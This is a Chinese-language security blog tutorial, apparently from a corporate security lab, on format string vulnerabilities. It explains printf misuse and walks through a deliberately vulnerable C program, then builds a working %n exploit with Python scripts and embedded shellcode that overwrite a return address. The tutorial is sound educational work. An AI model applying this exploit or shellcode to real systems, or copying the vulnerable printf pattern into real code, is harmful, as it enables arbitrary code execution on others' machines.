点击蓝字 关注我们
01
前言
格式化字符串漏洞最早被Tymm Twillman在1999年发现,当时并未引起重视,在tf8的一份针对wu-ftpd格式化字符串漏洞实现任意代码执行的漏洞的报告之后,才让人们意识到它的危害。
02
漏洞产生原理
格式化字符串漏洞产生的原因,主要是没有对用户输入的内容做过滤,有些输入内容是作为参数传递给某些执行格式化操作的函数的,比如printf、fprintf、vprintf或sprintf,这些函数就是格式化字符串函数,其主要作用就是将计算机内存中表示的数据转化为人类可读的字符串格式。
因为格式化字符串函数的传参是通过栈进行的,如果实际提供的参数少于格式化字符串预期的个数,多余的控制字符就会把栈数据当做参数打印出来。此漏洞的发生条件就是格式化字符串要求的参数和实际上提供的参数不匹配。比如,恶意用户可以使用%s和%x等格式符,从堆栈和其他内存位置读取数据,也可以使用格式符%n向内存地址写入被格式化的字节数,如果进行组合使用,就可能读取敏感数据甚至导致任意代码执行。
下面以printf函数为例进行分析,在进入printf函数之前,程序将参数从右到左依次压栈,当printf在输出格式化字符串的时候,会维护一个内部指针,用来指向下一个要用来输出的参数位置。此函数首先获取第一个参数,一次读取一个字符,如果字符不是“%”,那么字符被直接复制到输出,否则,printf认为它后面跟着一个格式符,会接着读取下一个非空字符来当做格式控制符。这就是问题所在,printf无法知道栈上是否放置了正确数量的参数供它使用,如果没有足够的参数可供操作,其内部指针依然按正常情况下递增,就会产生越界访问。甚至由于%n的存在,可导致任意地址写的问题。
03
常见格式化控制字符
%d – 输出十进制整数
%s – 输出字符串
%x – 输出十六进制数
%c – 输出单个字符
%p – 输出指针地址值
%n – 输出已打印的字符串长度(DWORD值)到指定变量
%hn – 输出已打印的字符串长度(WORD值)到指定变量
04
示例代码
以下面的代码为例分析格式化字符串漏洞原理:
int main (int argc, char *argv[])
{
char buff[1024]; // 局部变量
strncpy(buff,argv[1],sizeof(buff)-1);
printf(buff); //触发漏洞
return 0;
}
可以发现当程序启动参数包含%s和%x格式符的时候,会意外输出其他数据:
05
分析
01
代码编译后逻辑解析
首先看一下上面代码编译后对应的汇编代码,其逻辑是首先分配局部变量buff的栈空间,所占栈的空间大小是1024(0x400)个字节,然后,把要拷贝字符串的长度(0x3FF)、启动参数、和buff的地址依次入栈,接着调用strncpy函数把启动参数拷贝到buff空间中,紧接着把printf函数的格式化字符串参数入栈(buff变量),最后调用printf函数。
图 汇编代码逻辑
下图这条指令对应了“%n”格式化字符串对应的写操作,ecx表示输出的字符个数,eax为“%n” 格式化字符串对应的输出变量地址,即把输出的字节数给对应的变量。
图 %n格式对应写操作
02
实际调试分析
在运行FormatStr.exe时,如果传递给printf的参数只有一个即“test-%x-%x-%x”,它把输入参数“test-%x-%x-%x”之后的三个栈上数据当作参数传递给printf函数,因为printf默认的基本形式是printf(“格式化控制符”,变量列表),此时栈布局如下图所示。
图 栈布局
在printf第一个参数之后的三个栈上数据分别是strncpy的第1-3个参数(dest, src, maxlen),因此打印出“test-19fb34-5e10e8-3ff”。
03
ECX和EAX值分析
观察ECX值的变化,当输入“test-%x-%x-%n”时,ECX=0x13,即字符串“test-19fb34-8f10f2-”的长度19,当输入“test-%x-%x-%x-%n”时,ECX=0x17,即字符串“test-19fb34-9a10f2-3ff-”的长度23,所以ECX是打印字符串的个数。
观察EAX的值,当输入“test-%x-%x-%n”时,EAX=0x3FF,即栈地址为0x0019FB30中存储的数值0x3FF;当输入“test-%x-%x-%x-%n”时,EAX=0x74736574,即栈地址为0x0019FB34中存储的数值0x74736574。随着%x的增多,EAX的值是栈中以四字节为单位往高地址增长的栈中的数据。因为多一个%x用到的栈就会向下移一个。
图 输入“test-%x-%x-%n”
图 输入“test-%x-%x-%x-%n”
04
漏洞利用
通过以上的介绍,可以将ECX设置为shellcode的首地址,将EAX设置为函数返回地址所在的栈地址,这样当函数返回时,就会执行shellcode中的代码。结合strncpy,可以将shellcode放入到传递给FormatStr启动参数中,这样,strncpy会把shellcode复制到buff这个局部变量分配的栈空间中,然后让ECX的值等于此shellcode的起始地址的值。
对于ECX,主要通过设置输出字符个数控制该值,比如将“%x”改变为“%1000x”来增加输出字符个数,1000是个十进制数字,表示输出字符串的长度为1000,可以通过这个控制字符串的长度。例如把“test-%x-%x-%n”改为“test-%1000x-%1000x-%n”,那么ECX数值从0x13(19)变成了0x7D7(2007),即两个1000加上7个字符。
图 输入“test-%1000x-%1000x-%n”
接着把EAX设置为函数返回地址所在的栈地址,这样当执行mov [eax],ecx指令后,返回地址就会被修改为ECX的值即shellcode的起始地址。最后,当函数返回时,就会执行shellcode中的代码。首先,寻找函数返回地址,如下图所示,在“0x0019FF34”的栈地址处保存了main函数的返回地址“0x00401222”,那么只需要令eax等于“0x0019FF34”即可。
图 main函数返回地址
此时,首先想到的是把诸如“test-%x-%x-%n”格式化字符串的前4个字符替换为此地址,即把“test”替换成“x34xffx19x00”(小端序),替换后形如“x34xffx19x00-%x-%x-%n”但是由于字符串是以“x00”(null)为结束标志,printf函数解析时也只是解析到此结束标志之前的字符串。按照上面的方式替换后,在“x00”后面字符串就截断了,因此不能在字符中间出现“x00”字符。在上面分析EAX变化规律时,已知随着“%x”的增多,EAX的值是栈中以四字节为单位往高地址增长的栈中的数据,因此可以把此地址放到格式化字符串的末尾,这样就不会把格式化字符串截断了。
06
构造exp
现在开始构造exp,首先构造一个形如 “CCCCCCCCCC-%x--%n”的字符串,先使ECX等于0x0019FB34(1702708),上面字符串计算公式:10 + 1 + x + 2 = 1702708,得到x=1702695,因此修改上述字符串为“CCCCCCCCCC-%1702695x--%n”,使ECX等于0x0019FB34。
图 ECX等于0x0019FB34
然后使EAX等于0x0019FF34,之前分析得出应该让这个值在字符串的末尾,形如“CCCCCCCCCC-%1702695x--%nx34xffx19x00”, 但此时EAX的值等于栈地址为0x0019FB2C保存的0x00890D7C的值。
图 EAX等于0x00890D7C
根据之前分析,此时,需要增加“%x”来使栈往高地址增长,当增长到这个格式化字符串末尾时(此时的末尾在栈地址0x0019FB4C处),就可以使EAX等于0x0019FF34了。比如改成“%x%x%x%x%x%x%x%x%x%xCCCCCCCCCC- %1702695x--%nx34xffx19x00”,增加10个%x格式,这样EAX的值等于栈地址为0x0019FB54保存的0x32303731的值。
图 EAX等于0x32303731
用python书写一个简单脚本:
import os
x = "%x"*10
format = "CCCCCCCCCC-%1702695x--%n"
ret = "x34xffx19"
buf = x + format + ret
cmd = "FormatStr.exe {}".format(buf)
os.system(cmd)
其中,增加字符“C”的个数N和需要增加“%x”个数n的关系是:n = N/4(增加的栈的行数) *2(两个%x),因为每两个%x会使栈向下移动两个,但是这两个%x占了4个字节即一个栈空间,那么栈相对于buf末尾向下移动了一个栈空间。
按照上面公式,继续增加上面的字符串开始部分字符“C”的个数,然后同步增加%x格式化字符,经过动态调整,最终把EAX和ECX的值调整到正确的值。最后,经过调整后,修改python脚本为:
import os
test = "C"*236
x = "%x"*129
format = "-%1701446x--%n"
ret = "x34xffx19"
buf = test + x + format + ret
cmd = "FormatStr.exe {}".format(buf)
os.system(cmd)
ECX值的计算:
236(236个字符C) + 1023【6(19FB34) + 6(8F0D7C) + 3(3FF)+ 8*(129-3)】+ 1+ 1701446 + 2 = 1702708(0x19FB34),ECX指向了buff的开始地址。
图 ECX等于0x19FB34
EAX值的计算:
1702696(0x19FB28,第一个%x开始输出的栈地址)+520【(130(130个%x)*4】 =1703216(0x19FD30,要修改的地址所在栈的地址),在此栈地址正好保存了0x0019FF34即为main函数返回地址。
图 栈地址0x19FD30
当执行完printf函数,存储在0x0019FF34栈地址的main函数返回地址被修改成了buff的地址。
图 修改main函数返回地址为buff的地址
最后当main函数执行完返回后,EIP指向了0x0019FB34。
图 EIP等于0x0019FB34
现在只需要把填充为“C”字符的部分换成shellcode即可,修改python脚本为:
import os
shellcode = ""
shellcode += "xbex55x9axb2xb9xdaxd9xd9x74x24xf4x5dx2bxc9"
shellcode += "xb1x31x83xedxfcx31x75x0fx03x75x5ax78x47x45"
shellcode += "x8cxfexa8xb6x4cx9fx21x53x7dx9fx56x17x2dx2f"
shellcode += "x1cx75xc1xc4x70x6ex52xa8x5cx81xd3x07xbbxac"
shellcode += "xe4x34xffxafx66x47x2cx10x57x88x21x51x90xf5"
shellcode += "xc8x03x49x71x7exb4xfexcfx43x3fx4cxc1xc3xdc"
shellcode += "x04xe0xe2x72x1fxbbx24x74xccxb7x6cx6ex11xfd"
shellcode += "x27x05xe1x89xb9xcfx38x71x15x2exf5x80x67x76"
shellcode += "x31x7bx12x8ex42x06x25x55x39xdcxa0x4ex99x97"
shellcode += "x13xabx18x7bxc5x38x16x30x81x67x3axc7x46x1c"
shellcode += "x46x4cx69xf3xcfx16x4exd7x94xcdxefx4ex70xa3"
shellcode += "x10x90xdbx1cxb5xdaxf1x49xc4x80x9fx8cx5axbf"
shellcode += "xedx8fx64xc0x41xf8x55x4bx0ex7fx6ax9ex6bx9f"
shellcode += "x88x0bx81x08x15xdex28x55xa6x34x6ex60x25xbd"
shellcode += "x0ex97x35xb4x0bxd3xf1x24x61x4cx94x4axd6x6d"
shellcode += "xbdx28xb9xfdx5dx81x5cx86xc4xdd"
shellcode += "x90"*10
x = "%x"*129
format = "-%1701446x--%n"
ret = "x34xffx19"
buf = shellcode + x + format + ret
cmd = "FormatStr.exe '{}'".format(buf)
os.system(cmd)
往期精彩合集
长
按
关
注
联想GIC全球安全实验室(中国)
原文始发于微信公众号(联想全球安全实验室):格式化字符串漏洞探究
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论